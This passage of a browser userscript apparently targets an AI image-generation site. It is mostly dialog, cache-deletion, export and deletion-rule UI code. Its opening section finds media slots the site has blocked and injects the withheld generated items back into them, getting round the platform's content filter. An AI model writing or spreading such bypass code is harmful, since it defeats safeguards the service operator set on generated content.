            scanStats.type2Injected += 1;
          }
        }

        panel.dataset.bypassProcessed = 'true';
      }

      // Process type 3: template/result cards
      const templateCards = Array.from(root.querySelectorAll('div.min-h-100'))
        .filter(card => card.querySelector('h3.c-text-secondary')?.textContent?.includes('ID:'));
      scanStats.templateCards += templateCards.length;

      for (const card of templateCards) {
        const header = card.querySelector('h3.c-text-secondary');
        const taskId = extractTaskIdFromHeaderText(header?.textContent || '');
        if (!taskId) continue;

        const taskData = resolveTaskData(taskId);
        if (!taskData || !taskData.items?.length) {
          if (domInjectDebug) console.log('[InjectDOM][Template] No task data', { taskId, hasTaskData: Boolean(taskData) });
          continue;
        }

        const mediaContainer = card.querySelector('div.mt-12.flex.flex-wrap.gap-12')
          || card.querySelector('div.flex.flex-wrap.gap-12')
          || card.querySelector('div.flex.flex-wrap.gap-8')
          || card.querySelector('div[class*="flex-wrap"]');
        if (!mediaContainer) continue;

        // Task-level Telegram panel for template cards (insert above media)
        addTaskTelegramPanel(card, taskData, taskId, mediaContainer);
        addTaskDiscordPanel(card, taskData, taskId, mediaContainer);
        addTaskDownloadPanel(card, taskData, taskId, mediaContainer);
        addTaskProfilePanel(card, taskData, taskId, mediaContainer);
        addTaskSafeViewPanel(card, taskData, taskId, mediaContainer);
        addTensorQuickQueueButtons(card, taskData, taskId);

        const mediaSlots = getMediaSlots(mediaContainer);
        if (!mediaSlots.length) continue;

        const blockedSlots = mediaSlots.filter(slot => isBlockedSlot(slot, true));

        const invalidItems = getBlockedTaskItems(taskData);
        if (domInjectDebug) console.log('[InjectDOM][Template] Slots', { taskId, blockedSlots: blockedSlots.length, invalidItems: invalidItems.length });
        if (!invalidItems.length || !blockedSlots.length) continue;

        for (let i = 0; i < Math.min(blockedSlots.length, invalidItems.length); i++) {
          const slot = blockedSlots[i];
          const item = invalidItems[i];
          if (safeViewEnabled) {
            addSafeViewButtonToSlot(slot, item, taskData, taskId);
          } else {
            await injectItemIntoSlot(slot, item, taskData, taskId, { deferVideo: bypassDeferVideo });
          }
        }
      }

      // Process type 4: workflow editor page cards
      const workflowCards = Array.from(root.querySelectorAll('div.min-h-100'))
        .filter(card => card.querySelector('h3.c-text-secondary')?.textContent?.includes('ID:'));

      for (const card of workflowCards) {
        const header = card.querySelector('h3.c-text-secondary');
        const taskId = extractTaskIdFromHeaderText(header?.textContent || '');
        if (!taskId) continue;

        const taskData = resolveTaskData(taskId);
        if (!taskData || !taskData.items?.length) {
          if (domInjectDebug) console.log('[InjectDOM][Workflow] No task data', { taskId, hasTaskData: Boolean(taskData) });
          continue;
        }

        const mediaContainer = card.querySelector('div.mt-12.flex.flex-wrap.gap-12')
          || card.querySelector('div.flex.flex-wrap.gap-12')
          || card.querySelector('div.flex.flex-wrap.gap-8')
          || card.querySelector('div[class*="flex-wrap"]');
        if (!mediaContainer) continue;

        addTensorQuickQueueButtons(card, taskData, taskId);

        const mediaSlots = getMediaSlots(mediaContainer);
        if (!mediaSlots.length) continue;

        const blockedSlots = mediaSlots.filter(slot => isBlockedSlot(slot, true));
        const invalidItems = getBlockedTaskItems(taskData);
        if (domInjectDebug) console.log('[InjectDOM][Workflow] Slots', { taskId, blockedSlots: blockedSlots.length, invalidItems: invalidItems.length });
        if (!invalidItems.length || !blockedSlots.length) continue;

        for (let i = 0; i < Math.min(blockedSlots.length, invalidItems.length); i++) {
          const slot = blockedSlots[i];
          const item = invalidItems[i];
          if (safeViewEnabled) {
            addSafeViewButtonToSlot(slot, item, taskData, taskId);
          } else {
            await injectItemIntoSlot(slot, item, taskData, taskId, { deferVideo: bypassDeferVideo });
          }
        }
      }

      // Process type 5: workspace media containers (no min-h-100 card wrapper)
      const workspaceContainers = Array.from(root.querySelectorAll('div.mt-12.flex.flex-wrap.gap-12, div.flex.flex-wrap.gap-12, div.flex.flex-wrap.gap-8'))
        .filter(container => !container.closest('div.min-h-100'));

      for (const mediaContainer of workspaceContainers) {
        const taskId = findTaskIdForContainer(mediaContainer);
        if (!taskId) {
          if (domInjectDebug) console.log('[InjectDOM][Workspace] No task id for container');
          continue;
        }

        const taskData = resolveTaskData(taskId);
        if (!taskData || !taskData.items?.length) {
          if (domInjectDebug) console.log('[InjectDOM][Workspace] No task data', { taskId, hasTaskData: Boolean(taskData) });
          continue;
        }

        addTensorQuickQueueButtons(mediaContainer.closest('div.bg-bg-primary') || mediaContainer.parentElement || mediaContainer, taskData, taskId);

        const mediaSlots = getMediaSlots(mediaContainer);
        if (!mediaSlots.length) continue;

        const blockedSlots = mediaSlots.filter(slot => isBlockedSlot(slot, true));
        const invalidItems = getBlockedTaskItems(taskData);
        if (domInjectDebug) console.log('[InjectDOM][Workspace] Slots', { taskId, blockedSlots: blockedSlots.length, invalidItems: invalidItems.length });
        if (!invalidItems.length || !blockedSlots.length) continue;

        for (let i = 0; i < Math.min(blockedSlots.length, invalidItems.length); i++) {
          const slot = blockedSlots[i];
          const item = invalidItems[i];
          if (safeViewEnabled) {
            addSafeViewButtonToSlot(slot, item, taskData, taskId);
          } else {
            await injectItemIntoSlot(slot, item, taskData, taskId, { deferVideo: bypassDeferVideo });
          }
        }
      }
    }

    console.log(`[InjectDOM][Scan#${scanId}] Summary`, {
      ...scanStats,
      durationMs: Date.now() - scanStartedAt
    });
  }

  // Function to inject delete cache button into task dropdown menus
  function injectDeleteCacheIntoDropdowns() {
    const dropdowns = document.querySelectorAll('.n-dropdown-menu');

    dropdowns.forEach(dropdown => {
      if (dropdown.querySelector('[data-bypass-delete-cache]')) return; // Already injected

      // Try to find the task ID from context
      const taskCard = dropdown.closest('[data-bypass-task-id]');
      if (!taskCard) return;

      const taskId = taskCard.getAttribute('data-bypass-task-id');
      if (!taskId) return;

      // Create delete cache option
      const deleteOption = document.createElement('div');
      deleteOption.className = 'n-dropdown-option';
      deleteOption.setAttribute('data-dropdown-option', 'true');
      deleteOption.setAttribute('data-bypass-delete-cache', 'true');
      deleteOption.innerHTML = `
        <div class="n-dropdown-option-body">
          <div class="n-dropdown-option-body__prefix n-dropdown-option-body__prefix--show-icon">
            <iconpark-icon icon-id="delete" name="" size="16"></iconpark-icon>
          </div>
          <div data-dropdown-option="true" class="n-dropdown-option-body__label">Delete from Cache</div>
          <div data-dropdown-option="true" class="n-dropdown-option-body__suffix"></div>
        </div>
      `;

      deleteOption.onclick = (e) => {
        e.preventDefault();
        e.stopPropagation();
        showDeleteCacheDialog(taskId);
        // Close dropdown
        dropdown.style.display = 'none';
      };

      // Insert after existing options
      dropdown.appendChild(deleteOption);
    });
  }

  // Delete cache confirmation dialog
  function showDeleteCacheDialog(taskId) {
    const colors = getThemeColors();

    const overlay = document.createElement('div');
    overlay.style.cssText = `
      position: fixed;
      top: 0; left: 0; right: 0; bottom: 0;
      background: rgba(0, 0, 0, 0.75);
      display: flex;
      align-items: center;
      justify-content: center;
      z-index: 10000000;
      backdrop-filter: blur(6px);
      animation: fadeIn 0.3s ease;
    `;

    const dialog = document.createElement('div');
    dialog.style.cssText = `
      background: ${colors.bg};
      border-radius: 16px;
      width: 92%;
      max-width: 500px;
      box-shadow: 0 25px 80px rgba(0, 0, 0, 0.9);
      border: 1px solid ${colors.border};
      position: relative;
    `;

    const content = document.createElement('div');
    content.style.cssText = `padding: 24px; color: ${colors.text};`;
    content.innerHTML = `
      <div style="text-align: center; margin-bottom: 20px;">
        <div style="width: 64px; height: 64px; background: rgba(239, 68, 68, 0.1); border-radius: 50%; display: inline-flex; align-items: center; justify-content: center; margin-bottom: 16px;">
          <i class="fas fa-trash-alt" style="font-size: 28px; color: #ef4444;"></i>
        </div>
        <h2 style="font-size: 20px; margin: 0 0 8px 0; color: ${colors.text};">Delete Task from Cache</h2>
        <p style="margin: 0; font-size: 13px; color: ${colors.textSecondary};">Task ID: <code style="background: rgba(99, 102, 241, 0.1); padding: 2px 6px; border-radius: 4px;">${taskId}</code></p>
      </div>

      <div style="margin-bottom: 24px;">
        <p style="font-size: 14px; color: ${colors.textSecondary}; margin-bottom: 16px;">Choose deletion mode:</p>
      </div>
    `;

    const optionsContainer = document.createElement('div');
    optionsContainer.style.cssText = 'display: flex; flex-direction: column; gap: 12px; margin-bottom: 24px;';

    const deleteOptions = [
      {
        mode: 'permanent',
        icon: '🔴',
        title: 'Delete (Permanent)',
        desc: 'Remove completely. Won\'t auto-cache even if task reappears. Cannot be recovered.',
        color: '#ef4444'
      },
      {
        mode: 'regainable',
        icon: '🟡',
        title: 'Delete (Regainable)',
        desc: 'Remove from view. Auto-recovers on reload if still available.',
        color: '#eab308'
      },
      {
        mode: 'hide',
        icon: '⚪',
        title: 'Hide',
        desc: 'Keep in cache but hide from UI. Useful for archival.',
        color: '#94a3b8'
      }
    ];

    let selectedMode = 'regainable'; // Default

    deleteOptions.forEach(opt => {
      const optionBtn = document.createElement('button');
      optionBtn.style.cssText = `
        padding: 12px;
        border: 2px solid ${colors.border};
        border-radius: 8px;
        background: ${colors.bgSecondary};
        color: ${colors.text};
        cursor: pointer;
        text-align: left;
        transition: all 0.3s;
      `;
      optionBtn.innerHTML = `
        <div style="display: flex; align-items: flex-start; gap: 12px;">
          <div style="font-size: 24px; flex-shrink: 0;">${opt.icon}</div>
          <div style="flex: 1;">
            <div style="font-weight: 600; margin-bottom: 4px; font-size: 14px;">${opt.title}</div>
            <div style="font-size: 12px; color: ${colors.textSecondary};">${opt.desc}</div>
          </div>
        </div>
      `;

      optionBtn.onclick = () => {
        selectedMode = opt.mode;
        // Update selection state
        optionsContainer.querySelectorAll('button').forEach(btn => {
          btn.style.borderColor = colors.border;
          btn.style.background = colors.bgSecondary;
        });
        optionBtn.style.borderColor = opt.color;
        optionBtn.style.background = `rgba(${opt.color === '#ef4444' ? '239, 68, 68' : opt.color === '#eab308' ? '234, 179, 8' : '148, 163, 184'}, 0.1)`;
      };

      optionsContainer.appendChild(optionBtn);
    });

    content.appendChild(optionsContainer);

    const buttonRow = document.createElement('div');
    buttonRow.style.cssText = 'display: flex; gap: 12px; justify-content: flex-end;';

    const cancelBtn = document.createElement('button');
    cancelBtn.textContent = 'Cancel';
    cancelBtn.style.cssText = `
      padding: 10px 20px;
      border: 1px solid ${colors.border};
      border-radius: 8px;
      background: transparent;
      color: ${colors.text};
      cursor: pointer;
      font-size: 14px;
    `;
    cancelBtn.onclick = () => overlay.remove();

    const confirmBtn = document.createElement('button');
    confirmBtn.textContent = 'Confirm Delete';
    confirmBtn.style.cssText = `
      padding: 10px 20px;
      border: none;
      border-radius: 8px;
      background: #ef4444;
      color: white;
      cursor: pointer;
      font-size: 14px;
      font-weight: 600;
    `;
    confirmBtn.onclick = () => {
      handleCacheDelete(taskId, selectedMode);
      overlay.remove();
    };

    buttonRow.appendChild(cancelBtn);
    buttonRow.appendChild(confirmBtn);
    content.appendChild(buttonRow);

    dialog.appendChild(content);
    overlay.appendChild(dialog);
    overlay.onclick = (e) => {
      if (e.target === overlay) overlay.remove();
    };
    document.body.appendChild(overlay);
  }

  function handleCacheDelete(taskId, mode) {
    const cache = loadCache();
    const taskIndex = cache.tasks.findIndex(t => t.taskId === taskId || t.routeId === taskId);

    if (taskIndex === -1) {
      console.warn('[CacheDelete] Task not found:', taskId);
      return;
    }

    const task = cache.tasks[taskIndex];
    const taskItems = Array.isArray(task?.items) ? task.items : [];
    const itemIds = taskItems
      .map(item => String(item?.imageId || item?.id || ''))
      .filter(Boolean);

    if (mode === 'permanent') {
      itemIds.forEach(markItemAsNoRegain);
      cache.tasks.splice(taskIndex, 1);
      cache.items = cache.items.filter(item => String(item?.taskId || '') !== String(taskId));
      cache.deletions = cloneToolData(cacheDeletions, cache.deletions);
      saveCache(cache);
      console.log('[CacheDelete] Permanently deleted:', taskId);
    } else if (mode === 'regainable') {
      cache.tasks.splice(taskIndex, 1);
      cache.items = cache.items.filter(item => item.taskId !== taskId);
      cache.deletions = cloneToolData(cacheDeletions, cache.deletions);
      saveCache(cache);
      console.log('[CacheDelete] Deleted (regainable):', taskId);
    } else if (mode === 'hide') {
      itemIds.forEach(markItemAsHidden);
      cache.deletions = cloneToolData(cacheDeletions, cache.deletions);
      saveCache(cache);
      console.log('[CacheDelete] Hidden:', taskId);
    }

    // Refresh UI
    if (isExpanded) {
      updateUI(true);
    }

    // Show notification
    showToast(`Task ${mode === 'hide' ? 'hidden' : 'deleted'} successfully`, 'success');
  }

  // Start watching for dropdowns
  let dropdownWatcher = null;
  let dropdownWatcherInterval = null;
  function startDropdownWatcher() {
    if (dropdownWatcher) return;

    const targetNode = document.body || document.documentElement;
    if (!(targetNode instanceof Node)) {
      const retry = () => startDropdownWatcher();
      if (document.readyState === 'loading') {
        document.addEventListener('DOMContentLoaded', retry, { once: true });
      } else {
        setTimeout(retry, 50);
      }
      return;
    }

    dropdownWatcher = new MutationObserver(() => {
      injectDeleteCacheIntoDropdowns();
    });

    dropdownWatcher.observe(targetNode, {
      childList: true,
      subtree: true
    });

    // Also check periodically
    if (!dropdownWatcherInterval) {
      dropdownWatcherInterval = setInterval(injectDeleteCacheIntoDropdowns, 500);
    }
  }

  function showToast(message, type = 'info') {
    const toast = document.createElement('div');
    const bgColors = {
      success: '#10b981',
      error: '#ef4444',
      warning: '#f59e0b',
      info: '#6366f1'
    };

    toast.style.cssText = `
      position: fixed;
      bottom: 24px;
      right: 24px;
      background: ${bgColors[type] || bgColors.info};
      color: white;
      padding: 12px 20px;
      border-radius: 8px;
      box-shadow: 0 4px 12px rgba(0, 0, 0, 0.3);
      z-index: 10000060;
      font-size: 14px;
      animation: slideInRight 0.3s ease;
    `;
    toast.textContent = message;

    document.body.appendChild(toast);

    setTimeout(() => {
      toast.style.animation = 'slideOutRight 0.3s ease';
      setTimeout(() => toast.remove(), 300);
    }, 3000);
  }

  function showExportDialog() {
    const colors = getThemeColors();

    const overlay = document.createElement('div');
    overlay.style.cssText = `
      position: fixed;
      top: 0; left: 0; right: 0; bottom: 0;
      background: rgba(0, 0, 0, 0.75);
      display: flex;
      align-items: center;
      justify-content: center;
      z-index: 10000000;
      backdrop-filter: blur(6px);
    `;

    const dialog = document.createElement('div');
    dialog.style.cssText = `
      background: ${colors.bg};
      border-radius: 16px;
      width: 92%;
      max-width: 500px;
      box-shadow: 0 25px 80px rgba(0, 0, 0, 0.9);
      border: 1px solid ${colors.border};
      padding: 24px;
      color: ${colors.text};
    `;

    dialog.innerHTML = `
      <div style="text-align: center; margin-bottom: 20px;">
        <div style="width: 64px; height: 64px; background: rgba(99, 102, 241, 0.1); border-radius: 50%; display: inline-flex; align-items: center; justify-content: center; margin-bottom: 16px;">
          <i class="fas fa-download" style="font-size: 28px; color: #6366f1;"></i>
        </div>
        <h2 style="font-size: 20px; margin: 0 0 8px 0;">Export Cache Data</h2>
        <p style="margin: 0; font-size: 13px; color: ${colors.textSecondary};">Download your cached tasks and items</p>
      </div>
    `;

    const optionsContainer = document.createElement('div');
    optionsContainer.style.cssText = 'display: flex; flex-direction: column; gap: 12px; margin-bottom: 24px;';

    const exportOptions = [
      {
        format: 'json',
        title: 'JSON Format',
        desc: 'Complete data export with all metadata',
        icon: 'fa-code'
      },
      {
        format: 'csv',
        title: 'CSV Format',
        desc: 'Spreadsheet-compatible format for analysis',
        icon: 'fa-table'
      },
      {
        format: 'txt',
        title: 'Text Format',
        desc: 'Simple text list of IDs and URLs',
        icon: 'fa-file-alt'
      }
    ];

    exportOptions.forEach(opt => {
      const optBtn = document.createElement('button');
      optBtn.style.cssText = `
        padding: 12px;
        border: 1px solid ${colors.border};
        border-radius: 8px;
        background: ${colors.bgSecondary};
        color: ${colors.text};
        cursor: pointer;
        text-align: left;
        transition: all 0.3s;
      `;
      optBtn.innerHTML = `
        <div style="display: flex; align-items: center; gap: 12px;">
          <i class="fas ${opt.icon}" style="font-size: 24px; color: #6366f1;"></i>
          <div>
            <div style="font-weight: 600; margin-bottom: 4px;">${opt.title}</div>
            <div style="font-size: 12px; color: ${colors.textSecondary};">${opt.desc}</div>
          </div>
        </div>
      `;
      optBtn.onmouseover = () => optBtn.style.background = colors.bgTertiary;
      optBtn.onmouseout = () => optBtn.style.background = colors.bgSecondary;
      optBtn.onclick = () => {
        exportCache(opt.format);
        overlay.remove();
      };
      optionsContainer.appendChild(optBtn);
    });

    dialog.appendChild(optionsContainer);

    const cancelBtn = document.createElement('button');
    cancelBtn.textContent = 'Cancel';
    cancelBtn.style.cssText = `
      width: 100%;
      padding: 10px;
      border: 1px solid ${colors.border};
      border-radius: 8px;
      background: transparent;
      color: ${colors.text};
      cursor: pointer;
    `;
    cancelBtn.onclick = () => overlay.remove();
    dialog.appendChild(cancelBtn);

    overlay.appendChild(dialog);
    overlay.onclick = (e) => {
      if (e.target === overlay) overlay.remove();
    };
    document.body.appendChild(overlay);
  }

  // ============================================================================
  // DELETION RULES ENGINE
  // ============================================================================

  /**
   * Deletion rule schema per data type:
   * {
   *   enabled: bool,
   *   deleteAfterDate: string|null,  // ISO date string — delete if current date >= this date
   *   deleteWhenCount: number|null,  // delete if stored count exceeds this
   *   showConfirmation: bool,        // prompt user before applying
   *   permanent: bool                // if true: rule re-applies every time; if false: one-shot
   * }
   *
   * Available data types: taskCache, accounts, hiddenItems, noRegainItems, brokenRequests,
   *   remoteConfig, announcements, taskActions, taskProfiles, mediaStatus, sharedNotifications
   */

  function getDeletionRules() {
    try {
      const raw = localStorage.getItem(DELETION_RULES_KEY);
      if (!raw) return {};
      const parsed = JSON.parse(raw);
      return parsed && typeof parsed === 'object' ? parsed : {};
    } catch {
      return {};
    }
  }

  function saveDeletionRules(rules) {
    try {
      localStorage.setItem(DELETION_RULES_KEY, JSON.stringify(rules));
    } catch {}
  }

  // Returns a human-readable label for each data type used in deletion rules
  const DELETION_RULE_DATA_TYPES = [
    { key: 'taskCache',         label: 'Task Cache',          icon: 'fa-tasks' },
    { key: 'accounts',          label: 'Accounts',            icon: 'fa-user' },
    { key: 'hiddenItems',       label: 'Hidden Items',        icon: 'fa-eye-slash' },
    { key: 'noRegainItems',     label: 'Permanent Deletions', icon: 'fa-lock' },
    { key: 'brokenRequests',    label: 'Broken Requests',     icon: 'fa-exclamation-circle' },
    { key: 'remoteConfig',      label: 'Remote Config Cache', icon: 'fa-cloud' },
    { key: 'announcements',     label: 'Announcement Cache',  icon: 'fa-bell' },
    { key: 'taskActions',       label: 'Task Actions',        icon: 'fa-bolt' },
    { key: 'taskProfiles',      label: 'Task Profiles',       icon: 'fa-address-card' },
    { key: 'mediaStatus',       label: 'Media Status Cache',  icon: 'fa-photo-video' }
  ];

  function getDeletionRuleDataCount(typeKey) {
    try {
      switch (typeKey) {
        case 'taskCache':      return taskMap.size;
        case 'accounts':       return Object.keys(cachedUserAccounts).length;
        case 'hiddenItems':    return cacheDeletions.hidden.length;
        case 'noRegainItems':  return cacheDeletions.noRegain.length;
        case 'brokenRequests': {
          const raw = localStorage.getItem('freeBypassBrokenRequestsV1');
          if (!raw) return 0;
          const parsed = JSON.parse(raw);
          return Array.isArray(parsed) ? parsed.length : (parsed && typeof parsed === 'object' ? Object.keys(parsed).length : 0);
        }
        case 'remoteConfig': {
          const raw = localStorage.getItem('freeBypassRemoteConfig');
          return raw ? 1 : 0;
        }
        case 'announcements': {
          const raw = localStorage.getItem('freeBypassAnnouncementCache');
          if (!raw) return 0;
          const parsed = JSON.parse(raw);
          return Array.isArray(parsed) ? parsed.length : 1;
        }
        case 'taskActions': {
          const raw = localStorage.getItem('freeBypassTaskActions');
          if (!raw) return 0;
          const parsed = JSON.parse(raw);
          return Array.isArray(parsed) ? parsed.length : (parsed && typeof parsed === 'object' ? Object.keys(parsed).length : 0);
        }
        case 'taskProfiles': {
          const raw = localStorage.getItem('freeBypassTaskProfiles');
          if (!raw) return 0;
          const parsed = JSON.parse(raw);
          return Array.isArray(parsed) ? parsed.length : (parsed && typeof parsed === 'object' ? Object.keys(parsed).length : 0);
        }
        case 'mediaStatus': {
          const raw = localStorage.getItem('freeBypassMediaStatus');
          if (!raw) return 0;
          const parsed = JSON.parse(raw);
          return parsed && typeof parsed === 'object' ? Object.keys(parsed).length : 0;
        }
        default: return 0;
      }
    } catch {
      return 0;
    }
  }

  function applyDeletionRuleFor(typeKey) {
    try {
      switch (typeKey) {
        case 'taskCache':
          taskMap.clear();
          itemMap.clear();
          itemsData.length = 0;
          try { localStorage.removeItem('freeBypassTaskCache'); } catch {}
          break;
        case 'accounts': {
          const tokensToDelete = Object.keys(cachedUserAccounts).filter(t => t !== userToken);
          tokensToDelete.forEach(t => removeAccountData(t));
          break;
        }
        case 'hiddenItems':
          cacheDeletions.hidden = [];
          try { localStorage.setItem('freeBypassHiddenItems', JSON.stringify([])); } catch {}
          break;
        case 'noRegainItems':
          cacheDeletions.noRegain = [];
          try { localStorage.setItem('freeBypassNoRegainItems', JSON.stringify([])); } catch {}
          break;
        case 'brokenRequests':
          try { localStorage.removeItem('freeBypassBrokenRequestsV1'); } catch {}
          break;
        case 'remoteConfig':
          try {
            localStorage.removeItem('freeBypassRemoteConfig');
            localStorage.removeItem('freeBypassRemoteConfigMetaV1');
          } catch {}
          break;
        case 'announcements':
          try {
            localStorage.removeItem('freeBypassAnnouncementCache');
            localStorage.removeItem('freeBypassShownAnnouncements');
          } catch {}
          if (typeof announcementCache !== 'undefined') announcementCache = null;
          break;
        case 'taskActions':
          try { localStorage.removeItem('freeBypassTaskActions'); } catch {}
          taskActionsCache = null;
          break;
        case 'taskProfiles':
          try { localStorage.removeItem('freeBypassTaskProfiles'); } catch {}
          break;
        case 'mediaStatus':
          try { localStorage.removeItem('freeBypassMediaStatus'); } catch {}
          mediaStatusCache = null;
          break;
        default: break;
      }
    } catch (err) {
      console.error('[DeletionRules] applyDeletionRuleFor error:', err);
    }
  }

  function checkAndApplyDeletionRules() {
    const rules = getDeletionRules();
    const now = Date.now();
    let rulesChanged = false;

    const pendingConfirm = [];

    for (const typeEntry of DELETION_RULE_DATA_TYPES) {
      const rule = rules[typeEntry.key];
      if (!rule || !rule.enabled) continue;

      let triggered = false;

      if (rule.deleteAfterDate) {
        const ruleDate = Date.parse(rule.deleteAfterDate);
        if (!isNaN(ruleDate) && now >= ruleDate) triggered = true;
      }

      if (!triggered && rule.deleteWhenCount != null) {
        const currentCount = getDeletionRuleDataCount(typeEntry.key);
        if (currentCount >= rule.deleteWhenCount) triggered = true;
      }

      if (!triggered) continue;

      if (rule.showConfirmation) {
        pendingConfirm.push({ typeEntry, rule });
      } else {
        applyDeletionRuleFor(typeEntry.key);
        showToast(`Deletion rule applied: ${typeEntry.label} cleared`, 'info');
        if (!rule.permanent) {
          rules[typeEntry.key] = { ...rule, enabled: false };
          rulesChanged = true;
        }
      }
    }

    if (rulesChanged) saveDeletionRules(rules);

    // Process confirmation queue sequentially
    if (pendingConfirm.length > 0) {
      let idx = 0;
      const processNext = () => {
        if (idx >= pendingConfirm.length) return;
        const { typeEntry, rule } = pendingConfirm[idx++];
        showConfirmDialog(`Deletion rule triggered: clear "${typeEntry.label}"?`, () => {
          applyDeletionRuleFor(typeEntry.key);
          showToast(`Deletion rule applied: ${typeEntry.label} cleared`, 'success');
          if (!rule.permanent) {
            const freshRules = getDeletionRules();
            if (freshRules[typeEntry.key]) {
              freshRules[typeEntry.key].enabled = false;
              saveDeletionRules(freshRules);
            }
          }
          processNext();
        });
      };
      processNext();
    }
  }

  function showDeletionRulesDialog() {
    const colors = getThemeColors();
    const rules = getDeletionRules();

    const overlay = document.createElement('div');
    overlay.style.cssText = `
      position: fixed; inset: 0;
      background: rgba(0,0,0,0.75); backdrop-filter: blur(6px);
      display: flex; align-items: center; justify-content: center;
      z-index: 10000060; padding: 16px;
    `;

    const dialog = document.createElement('div');
    dialog.style.cssText = `
      width: min(640px, 97vw);
      max-height: 88vh;
      background: ${colors.bg};
      border: 1px solid rgba(99,102,241,0.35);
      border-radius: 16px;
      box-shadow: 0 24px 80px rgba(0,0,0,0.55);
      color: ${colors.text};
      display: flex; flex-direction: column;
      overflow: hidden;
    `;

    // Header
    const header = document.createElement('div');
    header.style.cssText = 'padding:16px 20px; border-bottom:1px solid rgba(148,163,184,0.18); background:linear-gradient(135deg, rgba(99,102,241,0.25), rgba(14,165,233,0.1)); display:flex; align-items:center; justify-content:space-between;';
    header.innerHTML = `
      <div style="display:flex; align-items:center; gap:10px;">
        <i class="fas fa-shield-alt" style="font-size:20px; color:#6366f1;"></i>
        <div>
          <div style="font-size:16px; font-weight:800;">Deletion Rules</div>
          <div style="font-size:11px; color:#94a3b8; margin-top:2px;">Auto-delete data on a schedule or when size thresholds are met</div>
        </div>
      </div>
      <button data-close style="background:transparent; border:none; color:#94a3b8; font-size:18px; cursor:pointer; padding:4px 8px; border-radius:6px; line-height:1;"><i class="fas fa-times"></i></button>
    `;
    header.querySelector('[data-close]').onclick = () => overlay.remove();
    dialog.appendChild(header);

    // Tab bar
    const tabBar = document.createElement('div');
    tabBar.style.cssText = 'display:flex; overflow-x:auto; gap:2px; padding:8px 12px 0; border-bottom:1px solid rgba(148,163,184,0.12); flex-shrink:0;';
    dialog.appendChild(tabBar);

    // Content area
    const contentArea = document.createElement('div');
    contentArea.style.cssText = 'flex:1; overflow-y:auto; padding:16px 20px; display:flex; flex-direction:column; gap:14px;';
    dialog.appendChild(contentArea);

    // Footer
    const footer = document.createElement('div');
    footer.style.cssText = 'padding:12px 20px; border-top:1px solid rgba(148,163,184,0.15); display:flex; gap:8px; justify-content:flex-end; flex-shrink:0;';
    const cancelBtn = document.createElement('button');
    cancelBtn.className = 'bypass-btn bypass-btn-secondary';
    cancelBtn.style.cssText = 'width:auto; padding:8px 18px; font-size:12px;';
    cancelBtn.textContent = 'Close';
    cancelBtn.onclick = () => overlay.remove();
    footer.appendChild(cancelBtn);
    dialog.appendChild(footer);

    // Working copy of rules
    const workingRules = JSON.parse(JSON.stringify(rules));

    let activeTypeKey = DELETION_RULE_DATA_TYPES[0].key;

    function renderTabBar() {
      tabBar.innerHTML = '';
      DELETION_RULE_DATA_TYPES.forEach(({ key, label, icon }) => {
        const rule = workingRules[key] || {};
        const isActive = key === activeTypeKey;
        const hasRule = rule.enabled;
        const btn = document.createElement('button');
        btn.style.cssText = `
          flex: 0 0 auto;
          padding: 6px 12px;
          border-radius: 8px 8px 0 0;
          border: 1px solid ${isActive ? 'rgba(99,102,241,0.5)' : 'transparent'};
          border-bottom: none;
          background: ${isActive ? colors.bgSecondary : 'transparent'};
          color: ${isActive ? colors.text : colors.textSecondary};
          font-size: 11px; font-weight: ${isActive ? '700' : '500'};
          cursor: pointer; white-space: nowrap;
          display: flex; align-items: center; gap: 5px;
          transition: all 0.15s;
        `;
        btn.innerHTML = `<i class="fas ${icon}"></i> ${label}${hasRule ? ' <span style="width:6px;height:6px;border-radius:50%;background:#6366f1;display:inline-block;margin-left:2px;"></span>' : ''}`;
        btn.onclick = () => {
          activeTypeKey = key;
          renderTabBar();
          renderContent();
        };
        tabBar.appendChild(btn);
      });
    }

    function renderContent() {
      contentArea.innerHTML = '';
      const typeEntry = DELETION_RULE_DATA_TYPES.find(t => t.key === activeTypeKey);
      if (!typeEntry) return;

      if (!workingRules[typeEntry.key]) workingRules[typeEntry.key] = { enabled: false, deleteAfterDate: null, deleteWhenCount: null, showConfirmation: false, permanent: false };
      const rule = workingRules[typeEntry.key];

      const currentCount = getDeletionRuleDataCount(typeEntry.key);

      // Size info row
      const sizeInfo = document.createElement('div');
      sizeInfo.style.cssText = 'font-size:12px; color:#94a3b8; padding:8px 12px; background:rgba(99,102,241,0.08); border:1px solid rgba(99,102,241,0.18); border-radius:8px;';
      sizeInfo.innerHTML = `<i class="fas ${typeEntry.icon}" style="margin-right:8px; color:#6366f1;"></i><strong style="color:${colors.text};">${typeEntry.label}</strong> — currently contains <strong style="color:#e2e8f0;">${currentCount}</strong> item(s)`;
      contentArea.appendChild(sizeInfo);

      // Enable toggle row
      const enableRow = document.createElement('label');
      enableRow.style.cssText = 'display:flex; align-items:center; gap:10px; padding:10px 12px; background:rgba(51,65,85,0.3); border:1px solid rgba(148,163,184,0.15); border-radius:8px; cursor:pointer;';
      const enableChk = document.createElement('input');
      enableChk.type = 'checkbox';
      enableChk.checked = !!rule.enabled;
      enableChk.style.cssText = 'width:16px; height:16px; cursor:pointer; accent-color:#6366f1;';
      enableChk.onchange = () => { rule.enabled = enableChk.checked; };
      enableRow.appendChild(enableChk);
      enableRow.innerHTML += '';
      const enableLabel = document.createElement('div');
      enableLabel.style.cssText = 'font-size:12px;';
      enableLabel.innerHTML = '<strong>Enable rule for ' + typeEntry.label + '</strong><div style="font-size:10px; color:#94a3b8; margin-top:2px;">When triggered, this data type will be automatically cleared</div>';
      enableRow.appendChild(enableChk);
      enableRow.appendChild(enableLabel);
      contentArea.appendChild(enableRow);

      // Date condition
      const dateSection = document.createElement('div');
      dateSection.style.cssText = 'display:flex; flex-direction:column; gap:6px; padding:10px 12px; background:rgba(51,65,85,0.2); border:1px solid rgba(148,163,184,0.13); border-radius:8px;';
      dateSection.innerHTML = `
        <div style="font-size:12px; font-weight:600; color:${colors.text};"><i class="fas fa-calendar-alt" style="margin-right:8px; color:#6366f1;"></i>Delete After Date</div>
        <div style="font-size:11px; color:#94a3b8;">Clear this data type on or after the selected date</div>
      `;
      const dateInput = document.createElement('input');
      dateInput.type = 'date';
      dateInput.value = rule.deleteAfterDate ? rule.deleteAfterDate.substring(0, 10) : '';
      dateInput.style.cssText = 'background:#1e293b; border:1px solid #475569; border-radius:6px; color:#f1f5f9; font-size:12px; padding:6px 10px; width:100%; box-sizing:border-box;';
      dateInput.onchange = () => { rule.deleteAfterDate = dateInput.value ? new Date(dateInput.value).toISOString() : null; };
      dateSection.appendChild(dateInput);
      const clearDateBtn = document.createElement('button');
